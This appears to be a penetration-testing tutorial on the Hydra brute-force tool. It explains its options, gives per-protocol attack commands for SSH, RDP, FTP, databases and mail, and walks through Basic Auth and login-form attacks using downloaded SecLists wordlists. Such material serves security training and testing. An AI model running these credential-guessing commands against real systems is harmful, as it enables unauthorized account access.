☑️Hydra

Hydra's popularity stems from its:

• Speed and Efficiency: Hydra utilizes parallel connections to perform multiple login attempts simultaneously, significantly speeding up the cracking process.

• Flexibility: Hydra supports many protocols and services, making it adaptable to various attack scenarios.

• Ease of Use: Hydra is relatively easy to use despite its power, with a straightforward command-line interface and clear syntax.

Basic Usage

hydra [login_options] [password_options] [attack_options] [service_options]

Parameter	Explanation	Usage Example
-l LOGIN or -L FILE	Login options: Specify either a single username (-l) or a file containing a list of usernames (-L).	hydra -l admin ... or hydra -L usernames.txt ...
-p PASS or -P FILE	Password options: Provide either a single password (-p) or a file containing a list of passwords (-P).	hydra -p password123 ... or hydra -P passwords.txt ...
-t TASKS	Tasks: Define the number of parallel tasks (threads) to run, potentially speeding up the attack.	hydra -t 4 ...
-f	Fast mode: Stop the attack after the first successful login is found.	hydra -f ...
-s PORT	Port: Specify a non-default port for the target service.	hydra -s 2222 ...
-v or -V	Verbose output: Display detailed information about the attack's progress, including attempts and results.	hydra -v ... or hydra -V ... (for even more verbosity)
service://server	Target: Specify the service (e.g., ssh, http, ftp) and the target server's address or hostname.	hydra ssh://192.168.1.100
/OPT	Service-specific options: Provide any additional options required by the target service.	hydra http-get://example.com/login.php -m "POST:user=^USER^&pass=^PASS^" (for HTTP form-based authentication)

Hydra - Services

Hydra services essentially define the specific protocols or services that Hydra can target. They enable Hydra to interact with different authentication mechanisms used by various systems, applications, and network services. Each module is designed to understand a particular protocol's communication patterns and authentication requirements, allowing Hydra to send appropriate login requests and interpret the responses. Below is a table of commonly used services:

Hydra Service	Service/Protocol	Description	Example Command
ftp	File Transfer Protocol (FTP)	Used to brute-force login credentials for FTP services, commonly used to transfer files over a network.	hydra -l admin -P /path/to/password_list.txt ftp://192.168.1.100
ssh	Secure Shell (SSH)	Targets SSH services to brute-force credentials, commonly used for secure remote login to systems.	hydra -l root -P /path/to/password_list.txt ssh://192.168.1.100
http-get/post	HTTP Web Services	Used to brute-force login credentials for HTTP web login forms using either GET or POST requests.	hydra -l admin -P /path/to/password_list.txt http-post-form "/login.php:user=^USER^&pass=^PASS^:F=incorrect"
smtp	Simple Mail Transfer Protocol	Attacks email servers by brute-forcing login credentials for SMTP, commonly used to send emails.	hydra -l admin -P /path/to/password_list.txt smtp://mail.server.com
pop3	Post Office Protocol (POP3)	Targets email retrieval services to brute-force credentials for POP3 login.	hydra -l [email protected] -P /path/to/password_list.txt pop3://mail.server.com
imap	Internet Message Access Protocol	Used to brute-force credentials for IMAP services, which allow users to access their email remotely.	hydra -l [email protected] -P /path/to/password_list.txt imap://mail.server.com
mysql	MySQL Database	Attempts to brute-force login credentials for MySQL databases.	hydra -l root -P /path/to/password_list.txt mysql://192.168.1.100
mssql	Microsoft SQL Server	Targets Microsoft SQL servers to brute-force database login credentials.	hydra -l sa -P /path/to/password_list.txt mssql://192.168.1.100
vnc	Virtual Network Computing (VNC)	Brute-forces VNC services, used for remote desktop access.	hydra -P /path/to/password_list.txt vnc://192.168.1.100
rdp	Remote Desktop Protocol (RDP)	Targets Microsoft RDP services for remote login brute-forcing.	hydra -l admin -P /path/to/password_list.txt rdp://192.168.1.100

Advanced RDP Brute Force

hydra -l administrator -x 6:8:abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 192.168.1.100 rdp

This command instructs Hydra to:

• Use the username "administrator".

• Generate and test passwords ranging from 6 to 8 characters, using the specified character set.

• Target the RDP service on 192.168.1.100.

• Employ the rdp module for the attack.

Basic HTTP Authentication

Web applications often employ authentication mechanisms to protect sensitive data and functionalities. Basic HTTP Authentication, or simply Basic Auth, is a rudimentary yet common method for securing resources on the web. Though easy to implement, its inherent security vulnerabilities make it a frequent target for brute-force attacks.

In essence, Basic Auth is a challenge-response protocol where a web server demands user credentials before granting access to protected resources. The process begins when a user attempts to access a restricted area. The server responds with a 401 Unauthorized status and a WWW-Authenticate header prompting the user's browser to present a login dialog.

Once the user provides their username and password, the browser concatenates them into a single string, separated by a colon. This string is then encoded using Base64 and included in the Authorization header of subsequent requests, following the format Basic <encoded_credentials>. The server decodes the credentials, verifies them against its database, and grants or denies access accordingly.

For example, the headers for Basic Auth in a HTTP GET request would look like:

GET /protected_resource HTTP/1.1
Host: www.example.com
Authorization: Basic YWxpY2U6c2VjcmV0MTIz

Exploiting With Hydra

We will use the http-get hydra service to brute force the basic authentication target.

Lets say the username is basic-auth-user:

curl -s -O https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/2023-200_most_used_passwords.txt

hydra -l basic-auth-user -P 2023-200_most_used_passwords.txt 127.0.0.1 http-get / -s 81

http-get /: This tells Hydra that the target service is an HTTP server and the attack should be performed using HTTP GET requests to the root path ('/').

Login Forms

While login forms may appear as simple boxes soliciting your username and password, they represent a complex interplay of client-side and server-side technologies. At their core, login forms are essentially HTML forms embedded within a webpage. These forms typically include input fields (<input>) for capturing the username and password, along with a submit button (<button> or <input type="submit">) to initiate the authentication process.

When a user interacts with a login form, their browser handles the initial processing. The browser captures the entered credentials, often employing JavaScript for client-side validation or input sanitization. Upon submission, the browser constructs an HTTP POST request. This request encapsulates the form data—including the username and password—within its body, often encoded as application/x-www-form-urlencoded or multipart/form-data.

Exploiting With Hydra

Hydra's http-post-form service is specifically designed to target login forms. It enables the automation of POST requests, dynamically inserting username and password combinations into the request body. By leveraging Hydra's capabilities, attackers can efficiently test numerous credential combinations against a login form, potentially uncovering valid logins.

General Syntax

 hydra [options] target http-post-form "path:params:condition_string"

condition_string

In Hydra’s http-post-form module, success and failure conditions are crucial for properly identifying valid and invalid login attempts. Hydra primarily relies on failure conditions (F=...) to determine when a login attempt has failed, but you can also specify a success condition (S=...) to indicate when a login is successful. Example with failure detection:

hydra ... http-post-form "/login:user=^USER^&pass=^PASS^:F=Invalid credentials"

However, sometimes you may not have a clear failure message but instead have a distinct success condition. For instance, if the application redirects the user after a successful login (using HTTP status code 302), or displays specific content (like "Dashboard" or "Welcome"), you can configure Hydra to look for that success condition using S=. Here’s an example where a successful login results in a 302 redirect:

hydra ... http-post-form "/login:user=^USER^&pass=^PASS^:S=302"

In this case, Hydra will treat any response that returns an HTTP 302 status code as a successful login. Similarly, if a successful login results in content like "Dashboard" appearing on the page, you can configure Hydra to look for that keyword as a success condition:

hydra ... http-post-form "/login:user=^USER^&pass=^PASS^:S=Dashboard"

Constructing the param string

The params string consists of key-value pairs, similar to how data is encoded in a POST request. Each pair represents a field in the login form, with its corresponding value.

• Form Parameters: These are the essential fields that hold the username and password. Hydra will dynamically replace placeholders (^USER^ and ^PASS^) within these parameters with values from your wordlists.

• Additional Fields: If the form includes other hidden fields or tokens (e.g., CSRF tokens), they must also be included in the params string. These can have static values or dynamic placeholders if their values change with each request.

• Success Condition: This defines the criteria Hydra will use to identify a successful login. It can be an HTTP status code (like S=302 for a redirect) or the presence or absence of specific text in the server's response (e.g., F=Invalid credentials or S=Welcome).

Here is an example of the param string:

/:username=^USER^&password=^PASS^:F=Invalid credentials

Example

curl -s -O https://raw.githubusercontent.com/danielmiessler/SecLists/master/Usernames/top-usernames-shortlist.txt

curl -s -O https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/2023-200_most_used_passwords.txt

hydra -L top-usernames-shortlist.txt -P 2023-200_most_used_passwords.txt -f IP -s 5000 http-post-form "/:username=^USER^&password=^PASS^:F=Invalid credentials"